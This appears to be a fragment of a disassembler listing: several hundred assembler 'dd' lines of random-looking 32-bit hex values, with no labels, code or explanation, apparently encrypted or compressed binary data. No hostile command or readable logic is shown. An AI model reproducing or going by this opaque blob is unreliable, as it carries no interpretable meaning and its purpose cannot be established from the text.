dd 67609F7Ah, 1D2F7B65h, 61152E7Eh, 0F1F23ACh, 6FAF230h
dd 899A12ADh, 0DCE730F5h, 0E7FDC55h, 419CD73h, 161858D0h
dd 42B9E20h, 0B213612Dh, 9810BB69h, 2EFC5B07h, 874FD204h
dd 0A9C9EB5Eh, 521F827Fh, 16980261h, 0EA6807E8h, 0C234757Ch
dd 0C75A110Eh, 0CE74DB0Ch, 101B8025h, 9097057h, 57C3AC56h
dd 3975CF42h, 0D5CEC294h, 0D141E63Ah, 0C180001Dh, 5EAAF082h
dd 5F25FBF4h, 920A882h, 5AFB2200h, 0CC135A7h, 26E434ADh
dd 0B8014A26h, 25990D8Dh, 20BD7F01h, 6430B460h, 0E9277BB6h
dd 25457AD9h, 0C446424Fh, 9934C020h, 2F8ADA0h, 0C282357Fh
dd 1ED8571Dh, 5C6A0C9Fh, 54B709C7h, 0D7E9B6C8h, 2105E20Fh
dd 0E28B00E8h, 0ED05D1FAh, 0A0AA7ECDh, 816C60B1h, 0C06C4981h
dd 0F18E60C7h, 2B622A94h, 0C79ADF3Ch, 25168C02h, 0D5BEC625h
dd 2E1E14CDh, 5BDA1C28h, 50CFC28Eh, 0F6B06040h, 0B448D776h
dd 0EDD530CEh, 761FBAh, 61BE3F0Eh, 1DC4EA3h, 2F20EEBAh
dd 0E0D11E23h, 522E0857h, 0F2AF5D64h, 6F58557h, 0A89282BCh
dd 3E84B56Eh, 0A84A3DF8h, 0E770B4B0h, 585525CDh, 204292Ah
dd 0EB56FEE9h, 0A598C8Ah, 0D3A5B896h, 54A3FB04h, 0B67CE902h
dd 9A302151h, 98DB7129h, 8FCD041Ch, 8354CB43h, 13F39C16h
dd 1055BC95h, 0EB4A1967h, 82336028h, 0FB21D004h, 2D694644h
dd 63B0FA12h, 0DAECFBC7h, 0CDFE9DBAh, 40610D67h, 566048D3h
dd 4BD42568h, 7D020966h, 0E940552Ch, 2DE65EFBh, 8F266AF0h
dd 1643DCE6h, 800D4E15h, 72E568BAh, 2201CAB3h, 2558AF2Bh
dd 75F270F8h, 63E40B71h, 44FC0DD8h, 40DF5E06h, 6D20B0Ch
dd 8C770869h, 0C46658EBh, 0A5D4B472h, 0A3E82B6Ch, 0BBFA8B35h
dd 0FB1600F2h, 0CC2DAA57h, 0E512C46Fh, 9BA20052h, 3260E40Eh
dd 9462850Ch, 0EA013F35h, 4108A372h, 4B20140Ch, 927D97BFh
dd 5E46843Ch, 876B9DB3h, 7D8D83FCh, 162A1CA0h, 282CFF8Fh
dd 0BFC9C66h, 0BFD8635h, 4547566Fh, 0F261FF02h, 257A7BFBh
dd 0CCDA8445h, 0B89E13D0h, 8236A360h, 835F167Bh, 0C2C81CEFh
dd 7826E711h, 13887A5Dh, 0FB0CCD68h, 4AC4B661h, 0A5291C9Dh
dd 0D9C5BF56h, 5602B6CEh, 21531839h, 2D555Eh, 5AD50800h
dd 0E7E54C80h, 89ACB01Fh, 9CD5383Ah, 945C6734h, 46750B2Bh
dd 5A32F6FAh, 0FC769133h, 0F0712016h, 12E8C180h, 0BBC8310Ah
dd 0E4AE1034h, 155C3981h, 3F98D678h, 762BE3A5h, 0C7E50D8h
dd 0D889CA6Bh, 924B121Dh, 8C77F446h, 0F239A960h, 48091820h
dd 5301103Bh, 0E9224B6Ah, 384D3545h, 0C62D7808h, 5C1E842h
dd 2F1C055Eh, 0C0BF577Dh, 4F4ACA93h, 810247E2h, 445884E7h
dd 0B3D6800Ah, 0A9E4092h, 6E9F801h, 0C8D1AF9Dh, 2568076Ch
dd 81E60DC7h, 5A81E874h, 95ADAA4h, 0E69A3359h, 5808B8F9h
dd 1268040Ah, 613AB65Bh, 0C469B7AAh, 4905BE41h, 0BE96EF04h
dd 39C0B708h, 3A01686Fh, 0C2B0051Fh, 5B28EBB3h, 0CD0B044Ch
dd 0A00E484h, 8E15A6C5h, 78293225h, 5E0880CCh, 7AFF31E9h
dd 0CAEE885Eh, 7DCB035Ch, 8A138865h, 4488DB81h, 0E975382Fh
dd 0C009EA2Ah, 575BD90Ah, 0AC8C0E68h, 0EEFBCF45h, 0EB56FA0h
dd 9E8FBE76h, 0AA11A315h, 0C586F35Eh, 0FA055E9h, 80BF0CB2h
dd 0E30602CAh, 244420B8h, 0BCFA9DC3h, 0AB4B37F6h, 9F763FA4h
dd 535F7309h, 0C14ABB85h, 20D1F6BBh, 1BB521EFh, 464C9258h
dd 49A09D76h, 55405A2Dh, 0E393E910h, 4C990504h, 0BDE8C013h
dd 4813674Dh, 0E01E453Eh, 9CEBB62h, 0F7300BB3h, 0DA00303Eh
dd 3A47255Dh, 5BE92EB2h, 0BF910079h, 603D0C02h, 0FCCF8102h
dd 0E04DB61Ch, 27E3064Ch, 9CD99240h, 5210FDA6h, 9172D75h
dd 95C8B6A2h, 0F8DFF8C2h, 199FB07Eh, 937A0868h, 5E9F922Ch
dd 0EE5E57B8h, 6033A32Ch, 3EC15343h, 6B489222h, 16C50666h
dd 4961FDCh, 17695331h, 1798B801h, 74EB3ACAh, 8764FF6Bh
dd 0C483B2ABh, 5E016FE2h, 0C22B4B68h, 53FFF1F7h, 4BC2CA4Dh
dd 0E49387AEh, 0EC44171Eh, 53CA766Eh, 4C546809h, 10BE573h
dd 0D1C41016h, 68558080h, 519561E0h, 0EA294903h, 80131475h
dd 252A60BEh, 33522FE6h, 0F3E90880h, 680E50BEh, 98C56E3h
dd 0FF256B55h, 74B5C550h, 30F9525Ch, 0A5C25969h, 11622AD4h
dd 49E0808h, 0B37EDB68h, 22B41886h, 5B3BD1Eh, 31E03A4Ch
dd 556A22EBh, 0F0455B4Ah, 0FC06EF8Ah, 7EE9E400h, 0DEF821FEh
dd 0B4960B9Bh, 5282397Fh, 2910917Bh, 12FF05DCh, 1D90EFB8h
dd 95030267h, 78C26A7Eh, 3C1D595Fh, 89CE8A2Ch, 1EE2305Bh
dd 0C22C24C1h, 0EA3271FFh, 1C92100Fh, 93CF92Dh, 0F3C22902h
dd 1B8D09BFh, 1188A87Ch, 685F04C5h, 437CBC9Eh, 42C592C3h
dd 0DD35A782h, 0F70B31D1h, 0E0965F14h, 0F1EDD126h, 7B3BF903h
dd 0FFB359h, 3548587Eh, 77947D9Ah, 43579731h, 123EB0E9h
dd 0A677AA4Ah, 351407E4h, 162B9701h, 4F50157h, 0EFE90816h
dd 68D5C79Fh, 0E8B01B75h, 600B3909h, 61F8E97Fh, 6DA66491h
dd 88930873h, 0AC18007h, 5A99CB8Fh, 826379B7h, 56B567Ch
dd 71EEC207h, 3BCF26h, 0C381F901h, 275F0856h, 1B5CC6EFh
dd 0CBACCA4Ah, 0A1130758h, 217F0147h, 7574E9D7h, 6AAD483h
dd 810EF69Dh, 517F8AC7h, 839DF413h, 0C5BE1ACFh, 0B200BA6Ah
dd 73753590h, 0E2F05E01h, 70583BD2h, 16C0D749h, 0F4632347h
dd 2D119E93h, 0E2405BDDh, 3AE205ABh, 85A6A98h, 4FFF7641h
dd 0ED3A339Bh, 655689C5h, 186625A0h, 0F26A9CB4h, 0DE870100h
dd 16CFF681h, 120CB15h, 69591FF3h, 0D9E47F29h, 0FF8A25AEh
dd 2753E5DFh, 1B4EC877h, 49D49106h, 657C6302h, 47814B05h
dd 52DC689Ah, 4DE66F7h, 0C038704Eh, 21EBD047h, 0C6B8795Ah
dd 0D1F55C89h, 0C65DCB5Dh, 5DD20D3h, 95E5C07h, 2FA31C6Fh
dd 2D1576A7h, 60D905CDh, 42A5C3A6h, 8FE25DF9h, 7BF09F40h
dd 124A1B24h, 4B524687h, 6235C960h, 0BC21507Fh, 1B727722h
dd 9C3AE971h, 9C7F598Ah, 0D3E925E1h, 10687E00h, 6F5A3A38h
dd 7625EEDh, 66D056E9h, 4385BD09h, 0ED6A807Dh, 49762C5Ah
dd 277CA658h, 0CB800160h, 0E967C136h, 2195BE24h, 0C846AF80h
dd 92555D30h, 0B850EAE6h, 76587D8Eh, 2087B0B3h, 3506A543h
dd 95C3C7E7h, 49CE3168h, 0A0C529AAh, 52A0086Ch, 66A41193h
dd 0D6D93726h, 29083382h, 0BB405DF1h, 0C190DDF7h, 3489400h
dd 3EE94327h, 32CABD9Ah, 0D4C1B980h, 224AB074h, 5B1C83BCh
dd 0CEBAA837h, 7601B83Ah, 38E6E96Bh, 0F9FC4BF3h, 0D5438792h
dd 0C510E426h, 4B14B798h, 4FC85586h, 0EA4E70E9h, 580D8CD5h
dd 0A26BF17Fh, 31068412h, 44E4BBDh, 10307079h, 570418CAh
dd 4C2A77A2h, 41133932h, 712DAFA8h, 78B38D2Ah, 0B7D84AF8h
dd 0FFC7BF2Ch, 0B8090524h, 4559F5FFh, 0A4D9D552h, 5C183EC2h
dd 0EDB0622Fh, 5FD82102h, 0CFBF5E30h, 0D5561AC9h, 5EBF0978h
dd 477DE9BFh, 0D7688554h, 7D9C4B2Fh, 4FB5AF50h, 68560270h
dd 55E51850h, 0AA20CBA0h, 0DF9A02Ch, 0F091618h, 0CD40C031h
dd 61424D1h, 7F34D3Ch, 53D05F46h, 64F3E5D0h, 2475B54h
dd 57905507h, 882AC35Dh, 963E1EE9h, 0FB8797A8h, 6101DECBh
dd 68546F2Eh, 0F3F86FD1h, 66300596h, 958EFA46h, 5B868140h
dd 0CE178C22h, 80FA2829h, 0E9BB2C63h, 0B746E9D0h, 5CC201E7h
dd 1096507h, 14E030DAh
dd 9E8A5B9Ch, 0EF9CF338h, 410EF856h, 72499F29h, 0CC73558Eh
dd 0FD99923Dh, 6871AA27h, 6450394Ah, 2422D9BAh, 25217CF3h
dd 182A0FEh, 0F453E9D1h, 0BBDD2D8Eh, 50F4F214h, 30CD974Bh
dd 52D0E08h, 394B050h, 2CD0F68Ah, 5A3BC417h, 0EBE5CCE8h
dd 0F348709Eh, 3F83B15Ah, 0F5A716BCh, 8DFB0DAh, 0D559CF27h
dd 66D25814h, 0C22046F8h, 72BD5502h, 0C106C574h, 52079A07h
dd 1ED702D1h, 0B2520480h, 81C28081h, 2A224003h, 0CB235341h
dd 1235AD50h, 37F9F614h, 58A2407Eh, 453F20FBh, 0CE8265Bh
dd 74E1E2E7h, 68617B7Ch, 0E785E01h, 114AA0C6h, 0BCC26EEDh
dd 2F34D657h, 8E6522DDh, 0BABD680Dh, 3CE00460h, 0EB07EDC1h
dd 0D4689C02h, 615EF659h, 0F4CE060Ch, 5F5AFD31h, 1F1301BCh
dd 0C533A851h, 72FEF7EDh, 0A4FC5C06h, 60BC3612h, 0A5BAB25Ah
dd 5BA22F0Dh, 9E9A1E3Bh, 0BB5095DDh, 0D462EF4Eh, 37595F1Ch
dd 0B229DBA7h, 10415ECh, 89C2FCBAh, 0C27FD631h, 8000064Ch
dd 0FF68CCEh, 8E6C0D6h, 0B570C607h, 0FD1C82EEh, 0EDF1376Bh
dd 189AFB05h, 0BED5FA84h, 30BA3280h, 0EAF083CAh, 38E7C01Eh
dd 984C3CF0h, 0DE1819E2h, 9BB33E53h, 0BA79CB17h, 0EC9F735Dh
dd 0C86F3CEh, 416ABADAh, 0DF1860F6h, 0AFA4B1Dh, 68BE07BEh
dd 0D45440C7h, 215D25D0h, 0BF8E94F2h, 0AF179296h, 64FB7565h
dd 0E9AC0215h, 7157F9CEh, 87AD160Dh, 52B1D289h, 8562D2ABh
dd 51A67F76h, 0A7B0DC2Dh, 5C77856Ah, 186881F2h, 3055793Fh
dd 25ADCCDh, 0B902D08Eh, 45F14401h, 3EC195C1h, 0E85F238Ah
dd 49EA0491h, 0D2C079DFh, 642B1F26h, 8F69B63Fh, 2944DC0h
dd 0E935EB80h, 8BB47CDBh, 71785EF1h, 215F5B01h, 348B1C77h
dd 0A2FAB37Ah, 9F595894h, 894E9014h, 0AD1329BFh, 7F9AD859h
dd 0F7351330h, 1200FDDEh, 2DEF2A50h, 0FBA93035h, 5BFD05BDh
dd 91EA8117h, 0A8117D6Dh, 38F0EBCFh, 0F134099Fh, 78F0E9DCh
dd 0DA9E5F9Dh, 0FC9B6B27h, 65F7E9C4h, 42996AB7h, 1D5A1AEFh
dd 63097FE0h, 7FFB8927h, 0A42DA548h, 30E22816h, 7056FC4h
dd 0E4091889h, 266D71EDh, 51E03A9h, 58B22340h, 6A9C3061h
dd 32830390h, 6B137B5Ah, 19FD8FC8h, 0A83BC3ECh, 830B5F20h
dd 5F222BD3h, 2E99CB1Eh, 87E95360h, 0A81BB63h, 69FA8D37h
dd 0C220096Ch, 0D15B4EF1h, 3CD9290h, 0B048BD30h, 2858070Fh
dd 923184F0h, 0AFF65A5Bh, 0FD0D94C2h, 6E6C6119h, 54047EA3h
dd 0AE47DEE9h, 4AF316C8h, 1FB88C27h, 688BA261h, 0A189757Eh
dd 9A570B9Fh, 74965522h, 507F5920h, 924E153h, 5047F21Ah
dd 91103604h, 315B3322h, 72EE915h, 0B5C0C695h, 7DA71942h
dd 9C04EA66h, 0A8FD4977h, 0BD4FD8CFh, 0FDA65032h, 0C501AC52h
dd 0FEE1C8C4h, 75FCEA01h, 8DABB42Bh, 0F0FB6602h, 5F975D58h
dd 13146B39h, 3BFEF30Eh, 8C9EF378h, 0B2DE3CD0h, 8E2CC5ABh
dd 51A068AAh, 0D6D48B4h, 4BEF2Ah, 0D600D5ACh, 11C18022h
dd 761F885Ch, 748AC725h, 662C0EDEh, 0D80BDC4Eh, 5C434677h
dd 5F38047Dh, 393CC15Bh, 0EEC80693h, 972D7025h, 61514E56h
dd 7B1F164h, 0B7E180B2h, 0F608B1C0h, 0DEF1E0D9h, 0AD2D1EAh
dd 0B70BC317h, 0EF2703B7h, 0AF06205Bh, 28A33F62h, 63AEE2D8h
dd 82B69A51h, 0A6B386F1h, 204D2C9h, 6DFF281h, 21E17ACCh
dd 0AA9C3E95h, 94AC50h, 18068CBBh, 53CB8119h, 35AE030Bh
dd 62100043h, 2512D926h, 5BC211E9h, 38820761h, 0E5502F97h
dd 0DAF1CB3Ch, 0A254F62h, 60D603F9h, 0D9F207DAh, 81738961h
dd 3416C21Bh, 0C836E09h, 27931FEh, 3DB1E007h, 0D49978BFh
dd 0CDE30160h, 0FC706F45h, 2428FAEBh, 0D07EC073h, 0B946F3B5h
dd 812E6A6h, 0A4202B65h, 1F84157h, 0E91CB1E3h, 24AF36A3h
dd 0EDBDF083h, 0DDF19B02h, 564BBCC0h, 50630FDh, 19173A72h
dd 42AC2D31h, 4D71A885h, 3004DACFh, 55829A66h, 9D586987h
dd 8BA21463h, 282D0051h, 0E9376235h, 259D5FF0h, 1041AA71h
dd 22D17211h, 126D743Fh, 0EC83210Ch, 2E6DBBFCh, 5A93E346h
dd 4902338Ah, 2A30E952h, 688991F3h, 0E95260C5h, 250F951Ah
dd 45D7E7BFh, 8176CBE0h, 70D0C42h, 0ABF16B83h, 5D42681Ch
dd 0FD5E57A4h, 3CA8AB80h, 55626FA7h, 0C41F9094h, 670D20AFh
dd 23E5967h, 0F707E132h, 6D8BE980h, 36F848BCh, 0C039B94Ah
dd 619ACA3Fh, 5BD83007h, 4424913Bh, 0C3412F85h, 6BE471CDh
dd 0A2FEB46Fh, 880E0D9Eh, 5116FFD4h, 81E5FFF8h, 0AFBABD3Bh
dd 771860AFh, 0C1254F05h, 6A9570F7h, 59CCCFB2h, 879A5BF2h
dd 0E31204Bh, 0FF20D4B2h, 0B7C74007h, 0C1B8D74Eh, 8485AD4Fh
dd 95BC7F23h, 0BFC24EC9h, 0E927B4E6h, 0BD048014h, 4B8A4795h
dd 20B7F865h, 0DAB80077h, 5170F4Fh, 0F024B02Ah, 2E02B4E8h
dd 5F471F14h, 28085BA8h, 1D715A6Ah, 0FCA67CEBh, 92BB00EFh
dd 0B93BB16Fh, 0F95B27h, 1435C143h, 0A54E5BACh, 54080705h
dd 0B585FBC0h, 762F96B6h, 25C9B42h, 566F5EA7h, 1314719Dh
dd 4F27F8B5h, 0AC4AEF8Fh, 261B4139h, 8CA04B94h, 0CA315C18h
dd 343C50CCh, 3A62712h, 0E91E02BFh, 6EDF1B96h, 0D8313042h
dd 0F39F779h, 0C11F7B2Dh, 4ADC62DFh, 231ACE47h, 7E81980Bh
dd 0DAD1E9FDh, 0B34D30Bh, 7E6B875Fh, 0F503FDEFh, 6D533AFAh
dd 2D757A08h, 2CF31180h, 45976AF5h, 1FF68065h, 0BEBD1D65h
dd 558F9318h, 0F07752D2h, 0BAE91773h, 95A997C2h, 0FE3D5DFh
dd 0F853623Dh, 2670C4CCh, 0A20C9344h, 5549DF8Ah, 50F1FEC5h
dd 0A18394BBh, 78C037D7h, 0EB4B4C43h, 6C35C806h, 3A090C4Ch
dd 180F69h, 0AD0E2D3Dh, 64F0B508h, 0A2385B02h, 7FD2FAE9h
dd 54B7154Eh, 9C28A405h, 45590A61h, 0F2318AF4h, 0FA3D0B14h
dd 0DBB402C6h, 5AEFF627h, 1252B37Dh, 9017A5C5h, 0A273CD61h
dd 0DB68AD09h, 0FBF1A49h, 29068CCDh, 518E09C6h, 6B634E25h
dd 0B0DDF4B7h, 7EB9B8B4h, 0DE95E889h, 4DD5C224h, 8578C0E4h
dd 0E0A73627h, 0A0F3895Dh, 80732E68h, 254A7468h, 0FC5523C8h
dd 7809BD2Bh, 9DFA36DFh, 6F0889FBh, 0F9090EF4h, 6758DCE9h
dd 54A474B7h, 682D38BDh, 33644E7Bh, 0E9ABD569h, 7AD01C8Ah
dd 2FBA539Fh, 139214FFh, 263A75E9h, 49A0A89Ah, 0FE8A9955h
dd 46B3C256h, 0FC2F3879h, 0F48729Ch, 5698FBC3h, 0F536C1B7h
dd 0AA14122Bh, 0E9092F9Eh, 92FF44D8h, 3CFBDE11h, 3E3EA1CEh
dd 0BF4A349Fh, 0EF3B5F8Dh, 0F0E20D2Dh, 0B5BA4F58h, 9CB96AEFh
dd 0B44F8CD4h, 0E32DE904h, 49D5F1D4h, 42024F02h, 617F65Ah
dd 2EA0C47Eh, 39651844h, 1CBA0C76h, 1240278h, 0D7125BFEh
dd 605A8C0h, 718240Ah, 44CF02ECh, 2553060h, 0FE327528h
dd 9BF1737Bh, 104C670Dh, 327E75DAh, 0C2AB7803h, 8023EAD7h
dd 5734F6D5h, 0BC9F835h, 2FB7619Bh, 7225BD80h, 82C032D5h
dd 1EC06403h, 0A5B62FE9h, 2D56F9DEh, 4B684836h, 43714901h
dd 0C55B0BB0h, 0C05A1A8Ah, 21666860h, 5AAD7AE1h, 8ACE8B8Ah
dd 334038Ch, 406E75D6h, 2F18B47Eh, 0E3186B11h, 954C7879h
dd 7D22C260h, 850E4983h, 1491CAC4h, 0ADEA1DD2h, 0C8B8DABBh
dd 0A3E27ABDh, 6BEE688Fh, 0E98FFA12h, 0BD096C4Dh, 0A6294510h
dd 332065D0h, 8E56B7E4h, 4B7DD62Dh, 0DE2B375h, 0C6DBE949h
dd 874B4130h, 6E30E5DAh, 0CEEEE017h, 57E91206h, 0F668E6C0h
dd 0ADF39565h, 0FDFDAF89h, 759DF294h, 0F7F1F4B0h, 780F3DEFh
dd 64297B2Dh, 295C5EB6h
dd 88E17FC4h, 0EA5C642Eh, 0E98517B8h, 9D3B9EDh, 5F59CAh
dd 8C63B809h, 330CC242h, 7B430B66h, 3EAE5E7h, 75BB5308h
dd 0E967ABE8h, 693B38EFh, 97735564h, 1E122D8Dh, 870A282Ah
dd 1F49C4Ah, 0D442167Ch, 5DD5C49Bh, 0E9DE82CEh, 955E28E0h
dd 95376843h, 7DD2AAF2h, 29A7113Eh, 0F1F1DA57h, 0A9F8AFB4h
dd 0EDE2E9B0h, 7EA5995h, 3941B9C5h, 0F00B73F0h, 0B33E203h
dd 9D775087h, 524ED86Ch, 4077C9CCh, 6B122D73h, 81EBA540h
dd 2E7BA464h, 9D12D4CAh, 71D9A3C7h, 1C60A2E0h, 915C278h
dd 1EA2B852h, 0C440B8C7h, 82FE3111h, 0F356D4CFh, 693F6188h
dd 884CBC57h, 5F74E991h, 2F9AE336h, 19ADFCB5h, 3E0652h
dd 13CDFEAEh, 0EC5E16E9h, 84EFD66Eh, 5F080041h, 11E3F75h
dd 9044E28Bh, 9C9EE90Ch, 0ACF8274Ah, 0AAEAF29Ah, 0BEB2651Bh
dd 9921F8A6h, 0FDF8B00Fh, 57088BCAh, 0BF041396h, 4C764E95h
dd 0BB02DC2h, 5FFB6838h, 0E9615896h, 2C372AC2h, 165D0C27h
dd 0B6D9BDD7h, 5948F569h, 0D72C372Bh, 81008625h, 36130EE1h
dd 0C4E19843h, 0AE422030h, 78F88FC5h, 456855F1h, 9E0044E4h
dd 0E1F7056Ah, 0BB4882h, 58E6305Bh, 5AEE803Bh, 40C48D2Ch
dd 0D077597Ah, 9081804Bh, 0B7A60569h, 0B4B29750h, 2609EA7Dh
dd 7A69DA45h, 1A2028F7h, 91CC0D2h, 0E945AD3Fh, 0D51DB826h
dd 7D9CEB42h, 0B261029Ah, 3FB92BFCh, 4C8FE02h, 0E577081Eh
dd 0FF688937h, 0B36B987Fh, 41E913B8h, 12CB904h, 2E20318Eh
dd 903BDBF7h, 0F179DA22h, 0BFA13E4Eh, 0ABF40E6Ch, 160EE6B4h
dd 889BA0E9h, 0BBF7E5Bh, 66CE7702h, 0E918F3F2h, 0B82041A6h
dd 82600CAh, 797B0D33h, 48282251h, 3825A8F7h, 0E3DCD183h
dd 1C5A6678h, 8F808F84h, 58BF5A92h, 225884Eh, 72882AFCh
dd 4281222h, 9A149FFh, 8D77004Eh, 95820BDFh, 0E9048751h
dd 40EABE28h, 7C41AB3Ah, 77972909h, 89593002h, 55902D7h
dd 64A0D6A8h, 4E1DE8F5h, 0F91676A2h, 6F4BC9FCh, 0BDBD1D52h
dd 0BD15A985h, 0C38116CAh, 0EAAE84EFh, 0EB5FB78Fh, 2C57F42Ch
dd 804E7AE9h, 0CD4256B9h, 80903117h, 7BC161FDh, 0B5317D53h
dd 0C52E6AE9h, 0CF39FE55h, 0FBF5792Ch, 0E9A0E5F2h, 20B580E3h
dd 0DD6EB3Fh, 0C1FB4DB5h, 3A60417Ah, 454CE647h, 61C6FF09h
dd 8458E1F6h, 8CC4D871h, 0F5BE5014h, 6E1113B6h, 2670C118h
dd 0A882B98h, 4A257392h, 8BF17Bh, 3D15E907h, 51DDE49Dh
dd 846AE150h, 0C990FDE1h, 25AD764Fh, 0A49D66C6h, 0C805F49h
dd 1DC8267Ah, 7891E97Ch, 1E39FF5Fh, 13A2C31h, 2968539Ah
dd 508D3A46h, 312C61CAh, 0EC08B3F8h, 41C79E3h, 3EE97DEBh
dd 0DB04078Ch, 0A72CD003h, 5D21F6B2h, 261ADE18h, 0D02D72BAh
dd 0E988DE46h, 4DEE6690h, 146FB72Ch, 8F6BC840h, 74292315h
dd 5E4A0C20h, 481C5410h, 1F478463h, 0EBC83104h, 801355F3h
dd 0F572BA6Ch, 858BDB58h, 0F4F9F2E9h, 7D97580Eh, 7BDE1119h
dd 0E9E337ECh, 985527B2h, 0C8452EC8h, 5D09C111h, 0CF372842h
dd 67B310Fh, 266213Bh, 172BF681h, 1DC04419h, 783F33A0h
dd 0FCEAC72h, 221CEE05h, 8BFED0C4h, 6CA30125h, 0F72974FAh
dd 0A811296Bh, 13813316h, 183D3E5Eh, 0DF3CB22Fh, 5809E6D0h
dd 0A0844B43h, 2D5A0073h, 4B369F50h, 5A07F88Fh, 0B5466BE0h
dd 0BAB0F2D9h, 3B8759F5h, 5178291Bh, 0EF4208C6h, 971A701Ah
dd 7BC3F6h, 3B02B886h, 0C6E948A2h, 21BE2E4Fh, 0E566BB77h
dd 3F59F542h, 0A2AF52C4h, 61BAD78Bh, 3ABF133h, 58C3C85Bh
dd 0BCD95A89h, 0A0C2F44Eh, 0CE010358h, 54E7DE05h, 40C74907h
dd 5D96BEF2h, 1DFC5420h, 1BB7282Ch, 639ED9E5h, 53AD858h
dd 875CC32Dh, 6357E8FEh, 0BBD6F70Ah, 0CE81B8EEh, 1E491214h
dd 120D004Ch, 2944CC71h, 6B667C9Fh, 6858C8D5h, 0F8164BAFh
dd 0B32FB98Eh, 5788540h, 345DB960h, 0F71212ADh, 12BACD8h
dd 51EDBA52h, 0B12A25D9h, 1ECCD09Ah, 4F0094Bh, 97061986h
dd 0E9E52865h, 0E1127017h, 2F68C340h, 50C77095h, 22048111h
dd 0A5205B34h, 48764B0Eh, 70A80E51h, 825B2B17h, 0A60CB3Ch
dd 58BE0927h, 7E23DB3h, 0F5EB25Dh, 0C2306FF7h, 0DCFEF156h
dd 52F40198h, 71293AE0h, 880FAD4h, 2E15685Ah, 9AC618B5h
dd 5C2C244Eh, 6C96003Eh, 0D931986Dh, 97F996B5h, 8ABDBF4h
dd 3F812B35h, 403E35A0h, 19E80529h, 2D0573C9h, 631C094Eh
dd 3618AB00h, 2DC1693Fh, 5F9406E7h, 73BFF990h, 0EF81006Fh
dd 40671EA8h, 540F9B0h, 0C7DE48F7h, 0C9C4D904h, 0E9268CC6h
dd 83B1864Fh, 3DA4CB2Ah, 192CAF68h, 0FC2FE99Fh, 0E8BBC0AEh
dd 499202h, 4E63E381h, 0BE56018Eh, 0E1155F09h, 36FB226Ah
dd 31D7EEBh, 6340547Ch, 1FE8EAE3h, 95422Fh, 28F9E2DBh
dd 1C6E607Bh, 2B4DFE90h, 0E9D62109h, 2DC0765Ch, 170830CDh
dd 0D9F60E7Ah, 0A2556DEBh, 0DAFE8911h, 88823009h, 0C835C3EDh
dd 31A9B70Fh, 96E8AFDFh, 0B0B2F3D1h, 0E091BE04h, 0E72BD264h
dd 186809C1h, 711A24Ch, 3DD00B7Dh, 0DA440502h, 62891054h
dd 9829C82Fh, 0C77BC081h, 242799EBh, 523CC19Fh, 0B70C68FCh
dd 0C916B0A2h, 1058009h, 14661975h, 605F181h, 0ED05864Dh
dd 0BF773C0Ah, 0C02B49Dh, 48B55159h, 5AE9619Fh, 0E1B79F1Bh
dd 0F53411Eh, 0EDAEB8C4h, 0C992DF95h, 16BE1352h, 0BD60AFEBh
dd 0E6038BB9h, 503900Fh, 18219FE1h, 5DA0BE65h, 0B2077F1h
dd 836851E4h, 46A730D5h, 30D7240Ch, 0A05B16A3h, 3A276E77h
dd 79ABF560h, 1331675h, 5F84F3Ah, 9207E2C1h, 0A2BEF1AAh
dd 27C14CE0h, 0BFE16433h, 0E90987E5h, 0A84FAC69h, 0B5A9006h
dd 3C6F2C4Bh, 26DAA1FDh, 5620B93Ah, 31C338CEh, 0A403A4h
dd 0F9544B3h, 5E13F101h, 0CFA0D9E9h, 0F6D9849h, 6B8F1DA6h
dd 0E6441792h, 0EA614B2Fh, 5901762Bh, 0E4057129h, 59B7A7F0h
dd 0D4B6C2ADh, 0E99AC7E0h, 5F0A4838h, 90712CFEh, 74B85F04h
dd 65E10BE9h, 13079ADCh, 0E021487Ch, 8690CF1Bh, 0ED7E3841h
dd 608CD654h, 0E8C832E9h, 0D77EEA93h, 972B94A7h, 0E9841359h
dd 41BA3AB9h, 0D9C2E20Dh, 0F740A5E8h, 6D741689h, 7F66DD09h
dd 0C168BD18h, 0CE30165Fh, 78090D58h, 0E9F93D71h, 2D1E36B0h
dd 0D23D14F8h, 152F21h, 8B685D99h, 0A417B144h, 0AD50036h
dd 9BE77C3h, 112D9AEAh, 836BFC31h, 96FC1583h, 4FAEEDB0h
dd 80A3C07Ch, 4208B441h, 1B7A428Ah, 82892444h, 6E6D7C80h
dd 1CB030C8h, 28361916h, 0BACE12AFh, 0E1BC0E84h, 0BC79E513h
dd 84A592D2h, 60484AFAh, 81C5AE64h, 574F60B7h, 5E1C4EBEh
dd 534D684Fh, 0D4BEC164h, 0BA85FEF1h, 0BE5FDCB8h, 0E85C352Ch
dd 9457953Ch, 0EDD6262Bh, 92542D8Bh, 91FB87CFh, 5A6826B8h
dd 0FA29AC64h, 0BB96DB87h, 5DFC0ABh, 0B9267A09h, 2D147964h
dd 3CE14B07h, 3079C536h, 80121A62h, 500956C9h, 30692D68h
dd 5E883A76h, 6938BEF0h, 288A272Ch, 530983DEh, 8190FFC2h
dd 82274A9Bh, 6A6A7779h, 0C97AB002h, 814AF606h, 0EB483AD6h
dd 16C9E11Eh, 0C72528EDh, 4C07C920h, 12D8862Dh, 5080447Eh
dd 4F08EE54h, 20AAA6B5h, 0A85B5A62h, 3182B4E2h, 0E1F48B0Ah
dd 0C86F597Eh, 4B4A78CBh, 30137DEEh, 0DAA0F4BCh, 74B6668h
dd 13E9E928h, 0AEFEFBCEh, 0C1EC1E6h, 0F60607C0h, 80CCF0DCh
dd 0EBE62FC4h, 209BE258h, 0C98103C8h, 0D9716F2h, 0D5DDC0B7h
dd 899586B3h, 45740F13h
dd 88FF995Bh, 0C23D81FAh, 6B310509h, 0B404CA01h, 56090E4Eh
dd 94D07D89h, 6B22D995h, 0D6A0C76Eh, 6D371B3Bh, 0F2CBEA2Fh
dd 0B97729F1h, 4455A7C4h, 0C2F65E8Fh, 0FE715A4Dh, 5037E1AEh
dd 6872C51h, 0A443FF2Eh, 79FA6354h, 0F17FE10Ch, 457068ABh
dd 0F03759CAh, 79B74B75h, 0DABD813Eh, 31572362h, 0E9060119h
dd 70C52BE6h, 68F1F9ACh, 2C126F25h, 81F73DABh, 3BED6870h
dd 3B3031E4h, 886A4082h, 7366C724h, 901D190Bh, 8135720h
dd 0FA01C602h, 0A7FAFAA7h, 88BF08D8h, 0DCC95617h, 0F20DCD6Bh
dd 77F40B5Dh, 0E909E547h, 2FBD211h, 4EC7E4EAh, 24189B9h
dd 6801FC83h, 1963E62Dh, 5065A37Dh, 0B154F92Bh, 3A7DE9h
dd 805B6620h, 4C909CCBh, 0D9082914h, 5166B0A8h, 85C9BDF6h
dd 685B58ECh, 0B233B12Fh, 0F20581A4h, 0C47B8E05h, 2BD9E1CAh
